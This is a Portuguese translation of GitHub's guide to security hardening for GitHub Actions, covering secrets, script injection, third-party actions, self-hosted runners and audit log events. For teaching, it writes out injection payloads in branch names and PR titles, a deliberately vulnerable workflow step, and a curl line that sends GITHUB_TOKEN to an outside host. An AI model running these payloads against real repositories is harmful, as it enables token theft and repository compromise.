Fortalecimento de segurança para o GitHub Actions

Visão Geral

Este guia explica como configurar o fortalecimento de segurança para certos recursos de GitHub Actions. Se os conceitos do GitHub Actions forem desconhecidos, consulte "Principais conceitos para o GitHub Actions

Usar segredos

Valores sensíveis nunca devem ser armazenados como texto simples em arquivos de fluxo de trabalho, mas como segredos. Os segredos podem ser configurados na organização ou níveis do repositório e permitem que você armazene informações confidenciais em GitHub Enterprise Server.

Os segredos usam caixas fechadas de Libsodium de modo que sejam criptografadas antes de atingir GitHub Enterprise Server. Isso ocorre quando o segredo é enviado usando a interface de usuário ou através da API REST. Esta criptografia do lado do cliente ajuda a minimizar os riscos relacionados ao registro acidental (por exemplo, registros de exceções e de solicitação, entre outros) dentro da infraestrutura do GitHub Enterprise Server. Uma vez realizado o upload do segredo, o GitHub Enterprise Server poderá descriptografá-lo para que possa ser injetado no tempo de execução do fluxo de trabalho.

Para ajudar a prevenir a divulgação acidental, o GitHub Enterprise Server usa um mecanismo que tenta redigir quaisquer segredos que aparecem nos registros de execução. Esta redação procura correspondências exatas de quaisquer segredos configurados, bem como codificações comuns dos valores, como Base64. No entanto, como há várias maneiras de transformar o valor de um segredo, essa anulação não é garantida. Como resultado, existem certas etapas proativas e boas práticas que você deve seguir para ajudar a garantir que os segredos sejam editados, e para limitar outros riscos associados aos segredos:

• Nunca usar dados estruturados como um segredo
  • Os dados estruturados podem fazer com que ocorra uma falha nos registros de segredos, pois a redação depende, em grande parte, de encontrar uma correspondência exata para o valor específico do segredo. Por exemplo, não use um blob de JSON, XML, ou YAML (ou similar) para encapsular o valor de um segredo, já que isso reduz significativamente a probabilidade de os segredos serem devidamente redigidos. Em vez disso, crie segredos individuais para cada valor sensível.
• Registre todos os segredos usados nos fluxos de trabalho
  • Se um segredo for usado para gerar outro valor sensível dentro de um fluxo de trabalho, esse valor gerado deve ser formalmente registrado como um segredo para que seja reproduzido se alguma vez aparecer nos registros. Por exemplo, se, ao usar uma chave privada para gerar um JWT assinado para acessar uma API web, certifique-se de registrar que JWT é um segredo ou não será redigido se entrar na saída de do registro.
  • O registro de segredos também aplica-se a qualquer tipo de transformação/codificação. Se seu segredo foi transformado de alguma forma (como Base64 ou URL codificada), certifique-se de registrar o novo valor como um segredo também.
• Audite como segredos são tratados
  • Audite como os segredos são usados, para ajudar a garantir que estejam sendo tratados conforme o esperado. Você pode fazer isso revisando o código-fonte do repositório que executa o fluxo de trabalho e verificando quaisquer ações usadas no fluxo de trabalho. Por exemplo, verifique se eles não são enviados para hosts não pretendidos, ou impressos explicitamente na saída de um registro.
  • Visualize os registros de execução do seu fluxo de trabalho depois de testar entradas válidas/inválidas e, em seguida, verifique se os segredos estão sendo editados corretamente ou não são mostrados. Nem sempre é sempre óbvio como um comando ou ferramenta que você está invocando irá enviar erros para STDOUT e STDERR, e os segredos podem depois acabar em registros de erro. Como resultado, considera-se uma boa prática rever manualmente os registros do fluxo de trabalho depois de testar entradas válidas e inválidas.
• Use as credenciais que tenham escopos mínimos
  • Certifique-se de que as credenciais usadas nos fluxos de trabalho têm o menor privilégio necessário e esteja ciente de que qualquer usuário com acesso de gravação ao repositório terá acesso de leitura a todos os segredos configurados no seu repositório.
• Audite e gire os segredos registrados
  • Reveja, periodicamente, os segredos registrados para confirmar se ainda são necessários. Remova aqueles que não são mais necessários.
  • Gire os segredos periodicamente para reduzir a janela de tempo durante a qual um segredo comprometido é válido.

Usar CODEOWNERS para monitorar alterações

Você pode usar o recurso CODEOWNERS para controlar como são feitas alterações nos seus arquivos de fluxo de trabalho. Por exemplo, se todos os arquivos de fluxo de trabalho forem armazenados em .github/workflows, você pode adicionar este diretório à lista de proprietários do código para que quaisquer alterações propostas nestes arquivos exijam primeiro a aprovação de um revisor designado.

Para obter mais informações, consulte "Sobre proprietários do código".

Entendendo o risco de injeções de script

Ao criar fluxos de trabalho, ações personalizadase ações compostas, você deverá sempre considerar se seu código pode executar entrada não confiável de invasores. Isso pode ocorrer quando um invasor adiciona comandos maliciosos e scripts em um contexto. Quando seu fluxo de trabalho é executado, essas strings podem ser interpretadas como código que é executado no executado.

Os invasores podem adicionar seu próprio conteúdo malicioso ao contexto do github, que deve ser tratado como uma entrada potencialmente não confiável. Geralmente, esses contextos terminam com body, default_branch, email, head_ref, label, message, name, page_name,ref e title. Por exemplo: github.event.issue.title ou github.event.pull_request.body.

Você deve garantir que esses valores não fluam diretamente para fluxos de trabalho, ações, chamadas de API ou para qualquer outro lugar onde possam ser interpretados como código executável. Ao adotar a mesma postura defensiva de programação que você adotaria para qualquer outro código privilegiado do aplicativo, você pode ajudar a melhorar a segurança do seu uso de GitHub Actions. Para informações sobre alguns dos passos que um invasor poderia dar, consulte "Potencial impacto de um executor comprometido".

Além disso, há outras fontes menos óbvias de entrada potencialmente não confiável como, por exemplo, nomes de branches e endereços de e-mail, que podem ser bastante flexíveis em termos de conteúdo permitido. Por exemplo, zzz";echo${IFS}"hello";# seria um nome de branch válido e seria um possível vetor de ataque para um repositório de destino.

As seções a seguir explicam como você pode ajudar a mitigar o risco de injeção de scripts.

Exemplo de um ataque de injeção de script

Um ataque de injeção de script pode ocorrer diretamente dentro do script embutido de um fluxo de trabalho. No exemplo a seguir, uma ação usa uma expressão para testar a validade de um título de pull request mas também adiciona o risco de injeção de script:

      - name: Check PR title
        run: |
          title="${{ github.event.pull_request.title }}"
          if [[ $title =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

Este exemplo é vulnerável à injeção do script porque o comando executar é executado dentro de um script shell temporário no executor. Antes que o script shell seja executado, as expressões dentro de ${{ }} são avaliadas e, em seguida, substituídas pelos valores resultantes, o que pode torná-lo vulnerável à injeção de comando do shell.

Para injetar comandos neste fluxo de trabalho, o invasor pode criar um pull request com título de a"; ls $GITHUB_WORKSPACE":

Neste exemplo, o caractere " é usado para interromper a declaração de title="${{ github.event.pull_request.title }}", o que permite que o comando ls seja executado no executor. Você pode ver a saída do comando ls no registro:

Práticas recomendadas para mitigar ataques de injeção de script

Há uma série de diferentes abordagens disponíveis para ajudar você a mitigar o risco de injeção de script:

Usando uma ação em vez de um script em linha (recomendado)

A abordagem recomendada é criar uma ação que processa o valor do contexto como um argumento. Esta abordagem não é vulnerável ao ataque de injeção, como o valor do contexto não é usado para gerar um script do shell, mas é passado para a ação como um argumento:

uses: fakeaction/checktitle@v3
with:
    title: ${{ github.event.pull_request.title }}

Usando uma variável de ambiente intermediária

Para scripts em linha, a abordagem preferida para manipular entradas não confiáveis é definir o valor da expressão para uma variável de ambiente intermediário.

O exemplo a seguir usa o Bash para processar o valor github.event.pull_request.title como uma variável de ambiente:

      - name: Check PR title
        env:
          TITLE: ${{ github.event.pull_request.title }}
        run: |
          if [[ "$TITLE" =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

Neste exemplo, a injeção de script não tem sucesso:

Com esta abordagem, o valor da expressão de ${{ github.event.issue.title }} é armazenado na memória e usada como uma variável e não interage com o processo de geração de script. Além disso, considere usar variáveis do shell de citação dupla para evitar divisão de palavras, mas esta é uma das muitas recomendações gerais para escrever scripts de shell e não é específica para GitHub Actions.

Usar o CodeQL para analisar seu código

Para ajudar você a gerenciar o risco de padrões perigosos o mais cedo possível no ciclo de vida do desenvolvimento, o Laboratório de Segurança de GitHub desenvolveu as consultas do CodeQL que os proprietários de repositórios podem integrar a seus pipelines CI/CD. Para obter mais informações, consulte "Sobre a varredura de código".

Atualmente, os scripts atualmente das bibliotecas JavaScript do CodeQL, o que significa que o repositório analisado deve conter pelo menos um arquivo JavaScript e que o CodeQL deve ser configurado para analisar esta linguagem.

• ExpressionInjection.ql: Cobre as injeções de expressão descritas neste artigo e é considerada razoavelmente precisa. No entanto, ele não executa o rastreamento de dados entre as etapas do fluxo de trabalho.
• UntrustedCheckout. l: Os resultados deste script exigem revisão manual para determinar se o código de um pull request é realmente tratado de forma não segura. Para obter mais informações, consulte "Manter o seu GitHub Actions e fluxos de trabalho seguro: impedindo solicitações pwn" no blogue GitHub do Laboratório de Segurança.

Restringir permissões para tokens

Para ajudar a mitigar o risco de um token exposto, considere restringir as permissões atribuídas. Para obter mais informações, consulte "Modificar as permissões para o GITHUB_TOKEN".

Usando ações de terceiros

Os trabalhos individuais em fluxo de trabalho podem interagir com (e comprometer) outros trabalhos. Por exemplo, um trabalho que consulta as variáveis de ambiente usadas por um trabalho posterior, que escreve arquivos para um diretório compartilhado que um trabalho posterior processa, ou ainda mais diretamente, que interage com o conector do Docker e inspeciona outros contêineres em execução e executa comandos neles.

Isso significa que comprometer uma única ação dentro de um fluxo de trabalho pode ser muito significativo, uma vez que essa ação comprometida teria acesso a todos os segredos configurados no seu repositório e pode usar o GITHUB_TOKEN para gravar no repositório. Consequentemente, há um risco significativo em fornecer de ações de repositórios de terceiros no GitHub. Para informações sobre alguns dos passos que um invasor poderia dar, consulte "Potencial impacto de um executor comprometido".

Você pode ajudar a mitigar esse risco seguindo estas boas práticas:

• Fixe as ações para um commit SHA de comprimento completo

  Fixar uma ação para um commit SHA de comprimento completo é, atualmente, a única maneira de usar uma ação como uma versão imutável. Fixar um SHA em particular ajuda a mitigar o risco de um ator malicioso adicionar uma porta traseira ao repositório da ação, porque precisariam gerar uma colisão de SHA-1 para uma carga válida do objeto de Git.

  Aviso: A versão curta do commit SHA é insegura e nunca deve ser usada para especificar a referência do Git de uma ação. Devido ao modo como funcionam as redes de repositório, qualquer usuário pode bifurcar o repositório e fazer push de um commit criado que colida com o SHA curto. Isso faz com que os clones subsequentes falhem nesse SHA, pois se converte em um commit ambíguo. Como resultado, todos os fluxos de trabalho que usam o SHA encurtado falharão imediatamente.

• Audite o código-fonte da ação

  Certifique-se de que a ação está tratando o conteúdo do seu repositório e os segredos, como esperado. Por exemplo, verifique se os segredos não são enviados para os hosts não intencionais, ou se não são registrados inadvertidamente.

• Fixe ações em uma etiqueta apenas se confiar no criador

  Embora a fixação de um commit de SHA seja a opção mais segura, especificar uma etiqueta é a opção mais conveniente, além de ser amplamente usada. Se você desejar de especificar uma etiqueta, certifique-se de que você confia nos criadores da ação. O selo "Criador verificado" em GitHub Marketplace é um sinal útil, já que indica que a ação foi escrita por uma equipe cuja identidade foi verificada por GitHub. Observe que há risco para esta abordagem, mesmo que você confie no autor, porque uma etiqueta pode ser movida ou excluída se um ator malicioso obtiver acesso ao repositório que armazena a ação.

Possível impacto de um executor comprometido

Essas seções consideram alguns das etapas que um invasor pode dar se for capaz de executar comandos maliciosos em um executor de GitHub Actions.

Acessar segredos

Os fluxos de trabalho acionados usando o evento pull_request têm permissões somente de leitura e não tem acesso a segredos. No entanto, essas permissões diferem para vários gatilhos de eventos, como issue_comment, issues e push, em que o atacante pode tentar roubar segredos do repositório ou usar a permissão de gravação do trabalho GITHUB_TOKEN.

• Se o segredo ou token for definido como uma variável de ambiente, ele poderá ser acessado diretamente por meio do ambiente usando o printenv.

• Se o segredo for usado diretamente em uma expressão, o script do shell gerado é armazenado em disco e é acessível.

• Para uma ação personalizada, o risco pode variar dependendo de como um programa está usando o segredo que obteve do argumento:

  uses: fakeaction/publish@v3
  with:
      key: ${{ secrets.PUBLISH_KEY }}
  

Embora GitHub Actions limpe os segredos da memória que não estão referenciados no fluxo de trabalho (ou uma ação incluída), o GITHUB_TOKEN e todos os segredos referenciados podem ser colhidos por um determinado invasor.

Exfiltrar dados de um executor

Um invasor pode exfiltrar todos os segredos roubados ou outros dados do executor. Para ajudar a evitar a divulgação acidental de segredos, GitHub Actions removeu automaticamente segredos editados impressos no registro, mas esta não é uma verdadeira fronteira de segurança, porque os segredos podem ser enviados intencionalmente para o registro. Por exemplo, segredos ofuscados podem ser exfiltrados usando echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};. Além disso, uma vez que o atacante pode executar comandos arbitrários, ele poderá usar solicitações HTTP para enviar segredos ou outros dados do repositório para um servidor externo.

Roubar o trabalho do GITHUB_TOKEN

É possível para um invasor roubar o GITHUB_TOKEN de um trabalho. O executor de GitHub Actions recebe automaticamente um GITHUB_TOKEN gerado com permissões limitadas apenas ao repositório que contém o fluxo de trabalho, e o token expira após a conclusão do trabalho. Uma vez expirado, o token não é mais útil para um invasor. Para contornar essa limitação, eles podem automatizar o ataque e executá-lo em frações de segundo chamando um servidor controlado pelo invasor com o token, por exemplo: a"; set +e; curl http://example.lab?token=$GITHUB_TOKEN;#.

Modificando os conteúdos de um repositório

O servidor do invasor pode usar a API de GitHub para modificar o conteúdo do repositório, incluindo versões, se as permissões atribuídas do GITHUB_TOKEN não forem restritas.

Considerar acesso entre repositórios

O GitHub Actions tem um escopo intencional para um único repositório por vez. O GITHUB_TOKEN concede o mesmo nível de acesso que um usuário com acesso de gravação, porque qualquer usuário com acesso de gravação pode acessar esse token criando ou modificando um arquivo de fluxo de trabalho. Usuários têm permissões específicas para cada repositório. Portanto, permitir que o GITHUB_TOKEN de um repositório conceda acesso a outro teria impacto no modelo de permissão de GitHub se não fosse implementado cuidadosamente. Da mesma forma, deve-se ter cuidado ao adicionar tokens de autenticação de GitHub a um fluxo de trabalho, porque isto também pode afetar o modelo de permissão de GitHub concedendo inadvertidamente amplo acesso aos colaboradores.

Temos um plano no roteiro de GitHub para suportar um fluxo que permite o acesso de todos os repositórios em GitHub Enterprise Server, embora ainda não seja um recurso compatível. Atualmente, a única maneira de executar interações privilegiadas entre repositórios é colocar um token de autenticação do GitHub ou chave SSH como um segredo dentro do fluxo de trabalho. Uma vez que muitos tipos de token de autenticação não permitem acesso granular a recursos específicos, há um risco significativo no uso do tipo incorreto de token, pois ele pode conceder acesso muito mais amplo do que o pretendido.

Esta lista descreve as abordagens recomendadas para acessar os dados do repositório dentro de um fluxo de trabalho, em ordem decrescente de preferência:

1. O GITHUB_TOKEN
   • Este token recebe intencionalmente o escopo para o único repositório que invocou o fluxo de trabalho, e tem o mesmo nível de acesso que um usuário de acesso de gravação no repositório. O token é criado antes de cada trabalho começar e expira quando o trabalho é finalizado. Para obter mais informações, consulte "Autenticação com o GITHUB_TOKEN".
   • O GITHUB_TOKEN deve ser usado sempre que possível.
2. Chave de implantação do repositório
   • Chaves de implantação são um dos únicos tipos de credenciais que concedem acesso de leitura ou gravação a um único repositório, e podem ser usadas para interagir com outro repositório dentro de um fluxo de trabalho. Para obter mais informações, consulte "Gerenciar chaves de implantação".
   • Observe que as chaves de implantação só podem clonar e fazer push para o repositório usando o Git, e não podem ser usada para interagir com a API REST ou o GraphQL. Portanto, elas podem não ser apropriadas para os suas necessidades.
3. Tokens de aplicativo GitHub
   • Aplicativos do GitHub podem ser instalados em repositórios selecionados e até mesmo ter permissões granulares nos recursos dentro deles. É possível criar um aplicativo GitHub interno na sua organização, instalá-lo nos repositórios os quais você precisa acessar dentro do seu fluxo de trabalho, e autenticar como instalação dentro de seu fluxo de trabalho para acessar esses repositórios.
4. Tokens de acesso pessoal
   • Você nunca deve usar tokens de acesso pessoais da sua própria conta. Esses tokens concedem acesso a todos os repositórios nas organizações às quais você tem acesso, bem como a todos os repositórios pessoais na sua conta de usuário. Isto concede indiretamente amplo acesso a todos os usuários com acesso de gravação do repositório no qual se encontra o fluxo de trabalho. Além disso, se você deixar uma organização mais adiante, os fluxos de trabalho que usam este token falharão imediatamente e a depuração deste problema pode ser difícil.
   • Se um token de acesso pessoal for usado, ele deverá ser gerado para uma nova conta que só tenha acesso aos repositórios específicos necessários para o fluxo de trabalho. Observe que esta abordagem não é escalável e deve ser evitada em detrimento de alternativas, como as chaves de implantação.
5. Chaves SSH em uma conta de usuário
   • Os fluxos de trabalho nunca devem usar as chaves SSH em uma conta de usuário. Semelhante aos tokens de acesso pessoais, eles concedem permissões de leitura/gravação a todos os seus repositórios pessoais, bem como a todos os repositórios aos quais você tem acesso por meio da associação à organização. Isto concede indiretamente amplo acesso a todos os usuários com acesso de gravação do repositório no qual se encontra o fluxo de trabalho. Se você pretende usar uma chave SSH porque você só precisa executar clones ou push do repositório, e não precisar interagir com APIs públicas, você deverá usar chaves de implantação individuais.

Fortalecimento para executores auto-hospedados

Os executores hospedados em GitHub executam o código dentro de máquinas virtuais efêmeras e limpas e isoladas. Isso quer isto dizer que não há maneira de comprometer persistentemente este ambiente ou obter, de outra forma, acesso a mais informações do que foram colocadas neste ambiente durante o processo de inicialização.

Executores auto-hospedados em GitHub Enterprise Server não têm garantias com relação ao funcionamento em máquinas virtuais limpas efêmeras e podem ser persistentemente comprometidos por código não confiável em um fluxo de trabalho.

Como resultado, os executores auto-hospedados quase nunca devem ser usados para repositórios públicos em GitHub Enterprise Server, porque qualquer usuário pode abrir pull requests contra o repositório e comprometer o ambiente. Da mesma forma, tenha cautela ao usar executores auto-hospedados em repositórios privados, uma vez que qualquer pessoa que possa bifurcar o repositório e abrir um pull request (geralmente aquelas com acesso de leitura ao repositório) podem de comprometer o ambiente do executor auto-hospedado. incluindo obter acesso a segredos e ao GITHUB_TOKEN que permissões de gravação no repositório. Embora os fluxos de trabalho possam controlar o acesso a segredos de ambiente usando os ambientes e revisões necessários, estes fluxos de trabalho não são executados em um ambiente isolado e continuam sendo susceptíveis aos mesmos riscos quando são executados por um executor auto-hospedado.

Quando um executor auto-hospedado é definido no nível da organização ou empresa, GitHub Enterprise Server pode programar fluxos de trabalho de vários repositórios para o mesmo executor. Consequentemente, um compromisso de segurança destes ambientes pode ter um grande impacto. Para ajudar a reduzir o escopo de um compromisso, você pode criar limites organizando seus executores auto-hospedados em grupos separados. Para obter mais informações, consulte "Gerenciando acesso a runners auto-hospedados usando grupos".

Você também deve considerar o ambiente das máquinas de executores auto-hospedadas:

• Que informação sensível reside na máquina configurada como um executor auto-hospedado? Por exemplo, chaves SSH privadas, tokens de acesso à API, entre outros.
• A máquina tem acesso à rede a serviços sensíveis? Por exemplo, serviços de metadados do Azure ou AWS. A quantidade de informações confidenciais neste ambiente deve ser limitada ao mínimo, e você deve estar sempre ciente de que qualquer usuário capaz de invocar fluxos de trabalho terá acesso a esse ambiente.

Alguns clientes podem tentar mitigar parcialmente esses riscos implementando sistemas que destroem automaticamente o executor auto-hospedado após cada execução do trabalho. No entanto, esta abordagem poderá não ser tão eficaz como pretendido, uma vez que não há forma de garantir que um executor auto-hospedado execute apenas um trabalho. Algumas tarefas usarão segredos como argumentos de linha de comando que podem ser vistos por outra tarefa executando no mesmo executor como, por exemplo, ps x -w. Isso pode gerar vazamento de segredos.

Auditar eventos de GitHub Actions

Você pode usar o log de auditoria para monitorar tarefas administrativas em uma organização. O log de auditoria registra o tipo de ação, quando foi executado, e qual conta de usuário executou a ação.

Por exemplo, você pode usar o log de auditoria para acompanhar o evento org.update_actions_secret, que controla as alterações nos segredos da organização:

As tabelas a seguir descrevem os eventos de GitHub Actions que você pode encontrar no log de auditoria. Para obter mais informações sobre como usar o log de auditoria, consulte Revisar o log de auditoria para a sua organização".

Eventos para alterações nas configurações

Ação	Descrição
repo.actions_enabled	Acionada quando GitHub Actions está habilitado para um repositório. Pode ser visto usando a interface do usuário. Este evento não fica visível quando você acessar o log de auditoria usando a API REST. Para obter mais informações, consulte "Usar a API REST".

Eventos para gerenciamento de segredo

Ação	Descrição
org.create_actions_secret	Acionada quando um segredo GitHub Actions é criado na organização. Para obter mais informações, consulte "Criar segredos criptografados para uma organização".
org.remove_actions_secret	Acionada quando um segredo GitHub Actions é removido.
org.update_actions_secret	Acionada quando um segredo GitHub Actions é atualizado.
repo.create_actions_secret	Acionada quando um segredo GitHub Actions é criado em um repositório. Para obter mais informações, consulte "Criar segredos criptografados para um repositório".
repo.remove_actions_secret	Acionada quando um segredo GitHub Actions é removido.
repo.update_actions_secret	Acionada quando um segredo GitHub Actions é atualizado.

Eventos para executores auto-hospedados

Ação	Descrição
enterprise.register_self_hosted_runner	Acionada quando um novo executor auto-hospedado é registrado. Para obter mais informações, consulte "Adicionar um executor auto-hospedado a uma empresa".
enterprise.remove_self_hosted_runner	Acionada quando um executor auto-hospedado é removido.
enterprise.runner_group_runners_updated	Acionada quando a lista de membros do grupo do executor é atualizada. Para obter mais informações, consulte "Definir executores auto-hospedados em um grupo para uma organização.
enterprise.self_hosted_runner_updated	Acionada quando o executor é atualizado. Pode ser visualizado usando a API REST e a interface do usuário. Este evento não está incluído quando você exportar o log de auditoria como dados JSON ou um arquivo CSV. Para obter mais informações, consulte "Sobre executores auto-hospedados" e "Revisar o log de auditoria para a sua organização".
org.register_self_hosted_runner	Acionada quando um novo executor auto-hospedado é registrado. Para obter mais informações, consulte "Adicionar um executor auto-hospedado a uma organização".
org.remove_self_hosted_runner	Acionada quando um executor auto-hospedado é removido. Para obter mais informações, consulte Remover um executor de uma organização.
org.runner_group_runners_updated	Acionada quando a lista de integrantes do grupo de executor é atualizada. Para obter mais informações, consulte "Definir executores auto-hospedados em um grupo para uma organização".
org.runner_group_updated	Acionada quando a configuração de um grupo de executor auto-hospedado é alterada. Para obter mais informações, consulte "Alterar a política de acesso de um grupo de executor auto-hospedado".
org.self_hosted_runner_updated	Acionada quando o executor é atualizado. Pode ser visto usando a API REST e a interface do usuário; não visível na exportação de JSON/CSV. Para obter mais informações, consulte "Sobre os executores auto-hospedados."
repo.register_self_hosted_runner	Acionada quando um novo executor auto-hospedado é registrado. Para obter mais informações, consulte "Adicionar um executor auto-hospedado a um repositório. ".
repo.remove_self_hosted_runner	Acionada quando um executor auto-hospedado é removido. Para obter mais informações, consulte "Remover um executor de um repositório."
repo.self_hosted_runner_updated	Acionada quando o executor é atualizado. Pode ser visto usando a API REST e a interface do usuário; não visível na exportação de JSON/CSV. Para obter mais informações, consulte "Sobre os executores auto-hospedados."

Eventos para grupos de executores auto-hospedados

Ação	Descrição
enterprise.runner_group_created	Acionada quando um grupo de executores auto-hospedado é criado. Para obter mais informações, consulte "Criar um grupo de um executor auto-hospedado para uma empresa".
enterprise.runner_group_removed	Acionada quando um grupo de executores auto-hospedados é removido. Para obter mais informações, consulte "Remover um grupo de executores auto-hospedados".
enterprise.runner_group_runner_removed	Acionada quando a API REST é usada para remover um executor auto-hospedado de um grupo.
enterprise.runner_group_runners_added	Acionada quando um executor auto-hospedado é adicionado a um grupo. Para obter mais informações, consulte "Transferir um executor auto-hospedado para um grupo."
enterprise.runner_group_renamed	Acionada quando o grupo do executor auto-hospedado é renomeado.
enterprise.runner_group_visiblity_updated	Acionada quando as configurações de visibilidade do grupo do executor auto-hospedado são alteradas.
org.runner_group_created	Acionada quando um grupo de executores auto-hospedado é criado. Para obter mais informações, consulte "Criar um grupo de executores auto-hospedados para uma organização".
org.runner_group_removed	Acionada quando um grupo de executores auto-hospedados é removido. Para obter mais informações, consulte "Remover o grupo de um executor auto-hospedado."
org.runner_group_runners_added	Acionada quando um executor auto-hospedado é adicionado a um grupo. Para obter mais informações, consulte "Mover um executorauto-hospedado para um grupo".
org.runner_group_runner_removed	Acionada quando a API REST é usada para remover um executor auto-hospedado de um grupo. Para obter mais informações, consulte "Remover um executor auto-hospedado de um grupo para uma organização."
org.runner_group_renamed	Acionada quando o grupo do executor auto-hospedado é renomeado.
org.runner_group_visiblity_updated	Acionada quando as configurações de visibilidade do grupo do executor auto-hospedado são alteradas.

Eventos para atividades no fluxo de trabalho

Ação	Descrição